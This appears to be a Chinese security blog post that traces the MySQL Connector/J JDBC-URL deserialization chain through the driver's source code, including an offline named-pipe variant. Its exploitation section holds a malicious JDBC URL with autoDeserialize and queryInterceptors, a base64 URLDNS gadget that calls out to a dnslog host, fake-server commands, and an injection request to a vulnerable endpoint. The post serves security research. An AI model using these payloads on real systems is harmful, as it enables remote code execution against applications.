前言
MySql这条链还是很厉害的,即使从JDBC-URL连接Mysql服务器这样高权限的操作一般是不会赤裸裸的给你放开去控制URL的,但是我们可以利用这条链来反序列化,可以做到不出网RCE,比如FastJson高版本的利用最后就是可以走的这条链,类似于二次反序列化绕过
复现环境
- MySQL Connector/J 8.0.19
漏洞原理简述
先要有一个漏洞原理的框架再往具体的代码去学习
这个漏洞最简单的demo如下
1 |
|
就是在使用JDBC去连接一个MySql数据库服务器的时候,如果URL可控,那么攻击者就可以伪造一个Fake Mysql Server来回传恶意的序列化流导致的一个反序列化漏洞
反序列化点溯源
反向溯源
全局搜索readObject的调用,发现有三处调用
能利用的点在com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
就这个函数中就存在两处objln.readObject的调用,像上追踪数据流
可以知道从变量的初步的传播路径是columnIndex->data->bytesIn
但是这里columnIndex->data还经过了一层处理byte[] data = this.getBytes(columnIndex);
这里实际上是根据列数索引来判断用那种方法读取数据,这里和MySql交互数据包的格式相关,这里我们只简单了解
攻击者控制的不是columnIndex,而是每一列的数据类型和内容。在 Fake MySQL Server 构造响应时:
列定义中,Column 2 的类型设为 BLOB (0xFC)
col1 = build_col_def(b’Variable_name’) # 普通列
col2 = build_col_def(b’Value’) # BLOB 列,类型字节 0xFC行数据:Column 2 的值是恶意序列化 payload
row = lenenc_str(b’dummy’) + lenenc_str(serialized_payload)
我们继续来看看这个getBytes()函数
可以看见它return的是thisRow的getBytes(),所以说这里我们实际要控制的是thisRow
至于这个thisRow是怎么来的,这里不纯用看代码的方式去溯源,我们现向上寻找getObject是在哪里调用的,看看是在做什么被调用的
这里我们找到了com.mysql.cj.jdbc.util.ResultSetUtil
这里我们继续向上寻找调用
这里我们找到了com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
这里我们阅读这个函数的代码还是比较容易理解这个是干嘛的,首先是rs = stmt.executeQuery("SHOW SESSION STATUS");给服务端发送一个查询语句SHOW SESSION STATUS,这里的rs属于ResultSet它的实现类也是我们上面说的ResultSetImpl
可以知道这里返回的数据全由攻击者自己的Fake Server控制的,所以我们只需要知道这个populateMapWithSessionStatusValues是怎么被触发的就可以了
我们继续往上查找调用
我们继续往上查找调用
可以看到最后是走到了com.mysql.cj.protocaol.a.NativeProtocol的invokeQueryInterceptorsPre方法中
注意看这个类名是叫ServerStatusDiffInterceptor也就是说他是一个拦截器,而且从调用情况上面有postPrecess和preProcess,也就是说这个方法是在进行拦截某类操作的时候被调用的,这时候我们就不继续向上寻找调用了,而是去查找MySql的拦截器是用来干什么的,在哪些时候被触发
SQL查询完整生命周期
我们来看看一条 SQL 的完整执行生命周期,回到我们刚刚发现的rs = stmt.executeQuery("SHOW SESSION STATUS");
我们看看executeQuery做了什么,跟进到
1 | public ResultSet executeQuery(String sql) throws SQLException { |
继续跟进execSQL()
1 | public <T extends Resultset> T execSQL(Query callingQuery, String query, int maxRows, NativePacketPayload packet, boolean streamResults, ProtocolEntityFactory<T, NativePacketPayload> resultSetFactory, ColumnDefinition cachedMetadata, boolean isBatch) { |
继续跟进sendQueryPacket()
1 | public final <T extends Resultset> T sendQueryPacket(Query callingQuery, NativePacketPayload queryPacket, int maxRows, boolean streamResults, ColumnDefinition cachedMetadata, ProtocolEntityFactory<T, NativePacketPayload> resultSetFactory) throws IOException { |
这里我们可以看到invokeQueryInterceptorsPre也就是我们在反向溯源的时候找到的触发点了,也就说我们现在前后已经连起来了
所以现在我们要解决的问题是,哪里可以触发一条sql语句的同时还可以指定我们的拦截器?
正向寻找触发点
回到我们的漏洞利用过程来看,我们只需要控制URL就可以在发起连接的时候做到反序列化,这说明JDBC在发起连接的时候一定也是执行了sql查询语句的
我们回到最小Demo的代码Connection conn = DriverManager.getConnection(dbUrl);来一探究竟
直接跟进getConnection
java.sql.DriverManager.java
1 | private static Connection getConnection(String url, java.util.Properties info, Class<?> caller) throws SQLException { |
跟进connect
com.mysql.cj.jdbc.NonRegisteringDriver
1 | public Connection connect(String url, Properties info) throws SQLException { |
跟进getInstance
com.mysql.cj.jdbc.ConnectionImpl
1 | public static JdbcConnection getInstance(HostInfo hostInfo) throws SQLException { |
走到它的构造方法中
也就是从这里就找到加载我们拦截器的方式了,我们来看我们常见的payload
1 | jdbc:mysql://127.0.0.1:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
就可以理解为什么我们要传入queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor了
1 | public ConnectionImpl(HostInfo hostInfo) throws SQLException { |
到这里我们跟进createNewIO看看建立网络连接的时候都做了什么
1 | // ConnectionImpl.java:659-665 |
继续跟connectOneTryOnly
1 | // ConnectionImpl.java:761-778 |
跟进initializePropsFromServer
1 | // ConnectionImpl.java:1106-1131 |
到这里就和我们上面找到的链子彻底连上了发送了查询语句之后就会走到我们的拦截器,从而触发反序列化
需要注意的是这里走的不是我们上面说的sendQueryPacket,而是它的兄弟sendCommand,他们两个都会在执行sql语句之前被拦截器拦截
不出网利用链
在上面我们找的链子是去网络连接然后连接Fake Server传输恶意序列号流的,那么这条链好用就好用在他有个不出网的利用方式
我们可以从URL可操控的参数去角度去思考这个漏洞是怎么被挖掘的,因为我们在挖掘不出网的链的时候发现利用到了queryInterceptors去指定拦截器来触发我们的链子,从扩大攻击面发散思维来看,我们可以先来看看还可以控制什么
在官方文档中可以看到可以控制的一个关于网络连接的参数是
我们来找找它的实现类,发现有很多,也就是说我们还可以通过这个参数来改变链条的走向,这里默认用的就是我们上面分析的StandardSocketFactory
我们来看看这是在什么时候被创建的,这里使用Find usage是找不到它的用法的,因为它是被反射调用的
我们得回到刚刚的正向寻找触发点,我们来看看JDBC是怎么处理我们URL中传入的参数queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor的,来看到这个文件
com.mysql.cj.jdbc.ConnectionImpl
1 | public ConnectionImpl(HostInfo hostInfo) throws SQLException { |
我们跟进initializeSafeQueryInterceptor
1 |
|
可以看到这里使用Util.loadClasses来获取我们URL传入的参数,其中使用propertySet.getStringProperty来查找我们的URL参数
我们进入propertySet类就可以看见我们上面说的socketFactory
我们对这个向上查找调用,就可以看见这个参数被加载的地方就是在我们刚刚正向分析的时候经过的connet方法
上面正向分析的时候没有仔细进入到这里,这里再走一遍,回到我们的connectOneTryOnly,会看到这里调用的是this.session.connect
我们看看this.session是怎么来的
可以看到它是在ConnecttionImpl的初始化函数中被加载的,和拦截器被加载的地方是一个地方,我们默认加载的是StandardSocketFactory,所以他就会用网络连接到方式去加载序列化流
所以现在我们只需要在看看这么多的SocketFactory有没有哪个的connect方法是不用经过真正的网络连接就可以返回可控数据的呢
前人就找到了这个叫做NamePipeSocketFactory的工厂类
上面说到,反射调用获取这个类之后就会调用它的connect方法,我们看看它的connect方法和默认的有什么区别,为什么它可以做到不出网回显序列流
先看默认socketFactory,是个很经典的连接层操作,用hostname和portNumber获取套接字连接对象便于之后通信
1 |
|
再看NamePipeSocketFactort,我们可以看到它根本就没有用到传入的hostname还有portNumber,这意味着这个socket不进行任何网络连接是个伪socket,甚至还有一个可控的namedPipePath作为路径名指向一个文件,前面我们说到PropertySet是可控的
1 |
|
可以看到它返回的一个连接是NamedPipeSocket类
我们看看这个类是干嘛的
1 | class NamedPipeSocket |
可以看到这个类就是一个用文件的读取和写入来创造的一个socket连接
至于更深入的发包的整条链需要去阅读刚刚我们上面提到的sendCommand方法,这里不细究
因为我们的拦截器先会拦截发送的SET请求,所以我们只需把文件改成恶意序列流,就可以回到我们刚刚反向溯源的SINK点了
利用
对于MySql交互的协议和怎么写一个Fake Server这里不细细研究,网上对此的分析也比较少,大部分都是直接wireshark抓包来改写的
所以我们更多我们把重心放在怎么利用别人写好的Fake Server来打不同的链子
Fake Server
因为不同的MySQL Connector/J版本在传输协议上可能有小区别,我们上面只是通过了8.0.19去学习,所以要更全面的利用的话还是得用别人写好的Server
所以这里使用4rain师傅写好的工具
出网利用
在java-chain或者yso上面生成URLDNS的序列化流
1 | echo rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGjJhY2Y5ODFmLmxvZy5kbnNsb2cucHAudWEudAAAcQB+AAV0AARodHRwcHh2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB4 > urldns.ser |
这里如果是windows不能用>的形式保存因为是UTF-16不然会报错23:56:44 [Thread-1] GadgetResolver.resolve gadget resolver error: java.lang.IllegalArgumentException: Illegal base64 character 3f
之后启动jar包**-f参数自定义文件**
1 | java -jar fake-mysql-cli-0.0.4.jar -p 13307 -f urldns.ser |
请求
1 | http://127.0.0.1:8000/api/connect?url=jdbc:mysql://127.0.0.1:13307/test%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3Ddeser_CUSTOM_xxx |
这里的user是我们自定义链子的标识符deser_CUSTOM_xxx后面xxx任意最终都会触发我们的序列化流
成功收到DNS查询
不出网利用
上面4rain的工具是没有实现namePipe的利用的
搜了一下网上似乎还没有找到有人写这个脚本,就自己写了一个
只是面向8.0.x版本的不出网namePipe文件构造
jujubooom/namePipe-G: JDBC-Attack4Mysql的不出网利用Pipe文件生成工具
利用过程都写在README.md里面了
















